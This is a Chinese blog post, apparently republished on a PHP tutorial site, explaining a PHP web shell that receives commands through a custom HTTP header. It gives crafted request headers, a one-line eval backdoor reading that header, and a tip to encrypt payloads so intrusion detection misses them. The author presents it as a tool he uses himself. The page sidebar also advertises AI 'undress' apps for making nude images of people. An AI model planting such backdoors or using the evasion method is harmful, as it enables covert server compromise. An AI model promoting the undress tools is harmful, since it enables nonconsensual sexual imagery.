search
Homephp教程php手册基于Http Header 的PHP C/S Shell

基于Http Header 的PHP C/S Shell

Jun 13, 2016 am 10:33 AM
455headerhttpphpshellauthorbased onof

http://www.vul.kr/?p=455  作者:TTFCT

06年时,发现HTTP HEADER可自定义,插入指定代码,06年8月份成功完成PHPCSHELL C/S TOOL,之后一直使用此TOOL 绕过IDS,07年曾遇到使用 WSC POST提交不能成功连接的情况,而使用 PHPCSHELL 成功连上,之后一直使用,隐蔽性很好。

说了那么多,该阐述一下PHPCSHELL原理了:

先让我们来看一段 HTTP HEADER


GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2)
Accept-Encoding: gzip, deflate
Host: www.vul.kr
Connection: Keep-Alive
Cookie: www.vul.kr

HTTP HEADER包含Accept,Accept-Language,User-Agent,Host等信息,我两年前曾发表过一篇文章是关于BBSXP,通过修改User-Agent来实现注入,除了修改外,还可以对 HTTP HEADER增加项,如我们增加:
vulnerable:welcome to www.vul.kr

完整的HTTP HEADER如下:


GET / HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2)
Accept-Encoding: gzip, deflate
Host: www.vul.kr
Vulnerable:welcome to www.vul.kr
Connection: Keep-Alive
Cookie: websitecookie

在服务端,接收代码如下:
echo ($_SERVER[HTTP_Vulnerable]);
?>

将HTTP封包NC 提交后,成功显示 "welcome to www.vul.kr",这样就取得了HTTP头我们自定义的信息,POST,GET的提交数据可以做成一句话,当然,HTTP HEADER封包提交也可以,而且可以绕过某些IDS,这也是我为什么一直使用PHPCSHELL的原因。

如果服务端变为:

eval($_SERVER[HTTP_Vulnerable]);
?>

是不是就变成了典型的一句话了:)
有些IDS很BT,会检查HTTP HEADER,要绕过,还是有方法的,提示一点:封包加密,服务端解密再执行。

PHPCSHELL图,本来想做成和WSC功能一样的,但是工作量太大,没时间写。

 



PS: HTTP HEADER提交有字符限制,允许字符数长度:8184.

最后欢迎大家前往 http://www.vul.kr

Statement
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Powerful PHP integrated development environment

DVWA

DVWA

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is very vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, to help web developers better understand the process of securing web applications, and to help teachers/students teach/learn in a classroom environment Web application security. The goal of DVWA is to practice some of the most common web vulnerabilities through a simple and straightforward interface, with varying degrees of difficulty. Please note that this software

mPDF

mPDF

mPDF is a PHP library that can generate PDF files from UTF-8 encoded HTML. The original author, Ian Back, wrote mPDF to output PDF files "on the fly" from his website and handle different languages. It is slower than original scripts like HTML2FPDF and produces larger files when using Unicode fonts, but supports CSS styles etc. and has a lot of enhancements. Supports almost all languages, including RTL (Arabic and Hebrew) and CJK (Chinese, Japanese and Korean). Supports nested block-level elements (such as P, DIV),

SublimeText3 English version

SublimeText3 English version

Recommended: Win version, supports code prompts!

MantisBT

MantisBT

Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.